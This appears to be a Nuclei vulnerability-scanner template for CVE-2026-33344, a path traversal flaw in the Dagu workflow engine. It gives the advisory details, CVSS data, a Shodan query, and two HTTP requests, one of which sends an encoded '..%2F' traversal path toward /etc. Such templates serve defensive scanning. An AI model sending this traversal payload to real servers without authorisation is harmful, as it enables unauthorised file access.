CVE-2026-33344: dagu <= 2.3.0 - Path Traversal via Encoded Slashes in DAG Name

id: CVE-2026-33344

info:
  name: dagu <= 2.3.0 - Path Traversal via Encoded Slashes in DAG Name
  author: zohuyhieuzo03
  severity: high
  description: |
    Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.
  impact: |
    Attackers can access files outside the intended directory, potentially exposing sensitive data or system files.
  remediation: |
    Update to version 2.3.1 or later.
  reference:
    - https://github.com/dagu-org/dagu/security/advisories/GHSA-ph8x-4jfv-v9v8
    - https://github.com/dagu-org/dagu/commit/7d07fda8f9de3ae73dfb081ccd0639f8059c56bb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-33344
    epss-score: 0.00498
    epss-percentile: 0.43248
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 2
    vendor: dagucloud
    product: dagu
    shodan-query: title:"dagu"
  tags: cve,cve2026,dagu,lfi,oss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v1/dags/{{to_lower(rand_text_alpha(12))}}/spec HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "not_found","DAG not found")
          - status_code == 404
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/dags/..%2F..%2F..%2Fetc%2F{{to_lower(rand_text_alpha(12))}}.yaml/spec HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "not_found","DAG not found")
          - status_code == 404
        condition: and
# digest: 4a0a00473045022100f64d1280abdaaf870033727b9554de846498a963610074ae245e17adde38bf1702204c0c06702798f9f72422b04bf53e4628b0f80309a30234b7b2897f0b104353d2:922c64590222798bb761d5b6d8e72950

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